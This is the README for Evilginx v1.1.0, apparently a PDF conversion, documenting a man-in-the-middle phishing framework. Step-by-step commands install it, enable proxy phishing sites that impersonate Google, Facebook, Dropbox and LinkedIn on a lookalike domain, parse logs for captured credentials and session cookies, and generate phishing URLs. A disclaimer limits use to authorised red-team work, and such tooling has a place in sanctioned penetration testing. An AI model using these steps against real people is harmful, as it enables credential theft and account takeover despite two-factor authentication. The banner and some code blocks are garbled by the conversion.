

---

## Evilginx v.1.1.0



**THIS VERSION IS OBSOLETE. PLEASE USE THE LATEST VERSION!**

**EVILGINX 2:** <https://github.com/kgretzky/evilginx2>

Evilginx is a man-in-the-middle attack framework used for phishing credentials and session cookies of any web service. It's core runs on Nginx HTTP server, which utilizes `proxy_pass` and `sub_filter` to proxy and modify HTTP content, while intercepting traffic between client and server.

You can learn how it works and how to install everything yourself on my blog:

First post slightly outdated now: Evilginx - Advanced Phishing With Two-factor Authentication Bypass

Evilginx 1.0 Update: Evilginx 1.0 Update - Up Your Game in 2FA Phishing

Evilginx 1.1 Update: Evilginx 1.1 Update

**Disclaimer** I am aware that Evilginx can be used for very nefarious purposes. This work is merely a demonstration of what adept attackers can do. It is the defender's responsibility to take such attacks into consideration, when setting up defenses, and find ways to protect against this phishing method. Evilginx should be used only in legitimate penetration testing assignments with written permission from to-be-phished parties.

**Contributors Hall of Fame** @poweroftrue

**Installation** Evilginx provides an installation script `install.sh` that takes care of installing the whole package on any Debian wheezy/jessie machine, in fire and forget manner.

```
1 git clone https://github.com/kgretzky/evilginx
2 cd evilginx
3 chmod 700 install.sh
4 ./install.sh
```

---

## Usage

```
1
2      ( _ ) |      ( _ )
3      |      |
4  /  _  \  \  /  /  |  /  _  \  \  /  /
5 |  _  \  \  /  /  |  |  _  \  \  /  /
6 \  _  \  \  /  /  |  |  _  \  \  /  /
7      |      |
8  by @mrgretzky |___/          v1.0
9
10 usage: evilginx.py [-h] {setup,parse,genurl} ...
11
12 positional arguments:
13   {setup,parse,genurl}
14     setup                Configure Evilginx.
15     parse                Parse log file(s).
16     genurl               Generate phishing URL.
17
18 optional arguments:
19   -h, --help            show this help message and exit
```

## Setup

Enable or disable site configurations for use with Nginx server, using supplied Evilginx templates from `sites` directory.

```
1 usage: evilginx.py setup [-h] [-d DOMAIN] [-y]
2                        (-l | --enable ENABLE | --disable DISABLE)
3
4 optional arguments:
5   -h, --help            show this help message and exit
6   -d DOMAIN, --domain DOMAIN
7                        Your phishing domain.
8   -y                    Answer all questions with 'Yes'.
9   -l, --list            List available supported apps.
10  --enable ENABLE       Enable following site by name.
11  --disable DISABLE     Disable following site by name.
```

List available site configuration templates:

```
1 python evilginx.py setup -l
2
3 Listing available supported sites:
4
5 - dropbox (/root/evilginx/sites/dropbox/config)
6   subdomains: www
7 - google (/root/evilginx/sites/google/config)
8   subdomains: accounts, ssl
9 - facebook (/root/evilginx/sites/facebook/config)
10  subdomains: www, m
11 - linkedin (/root/evilginx/sites/linkedin/config)
```

---

```
12 subdomains: www
```

Enable google phishing site with preregistered phishing domain `not-really-google.com`:

```
1 python evilginx.py setup --enable google -d not-really-google.com
```

Disable facebook phishing site:

```
1 python evilginx.py setup --disable facebook
```

## Parse

Parse Nginx logs to extract intercepted login credentials and session cookies. Logs, by default, are saved in `logs` directory, where `evilginx.py` script resides. This can be done automatically after you enable auto-parsing in the **Setup** phase.

```
1 usage: evilginx.py parse [-h] -s SITE [--debug]
2
3 optional arguments:
4   -h, --help            show this help message and exit
5   -s SITE, --site SITE  Name of site to parse logs for ('all' to parse
                        logs
6                           for all sites).
7   --debug              Does not truncate log file after parsing.
```

Parse logs only for google site:

```
1 python evilginx.py parse -s google
```

Parse logs for all available sites:

```
1 python evilginx.py parse -s all
```

## Generate URL

Generate phishing URLs that you can use in your Red Team Assessments.

```
1 usage: evilginx.py genurl [-h] -s SITE -r REDIRECT
2
3 optional arguments:
4   -h, --help            show this help message and exit
5   -s SITE, --site SITE  Name of site to generate link for.
6   -r REDIRECT, --redirect REDIRECT
7                           Redirect user to this URL after successful sign
                           -in.
```

Generate google phishing URL that will redirect victim to rick'roll video on successful login:

```
1 python evilginx.py genurl -s google -r https://www.youtube.com/watch?v=
  dQw4w9WgXcQ
```

---

```
2
3 Generated following phishing URLs:
4
5 : https://accounts.not-really-google.com/ServiceLogin?rc=0
   aHR0cHM6Ly93d3cueW91dHVIZS5jb20vd2F0Y2g_dj1kUXc0dzlXZ1hjUQ
6 : https://accounts.not-really-google.com/signin/v2/identifier?rc=0
   aHR0cHM6Ly93d3cueW91dHVIZS5jb20vd2F0Y2g_dj1kUXc0dzlXZ1hjUQ
```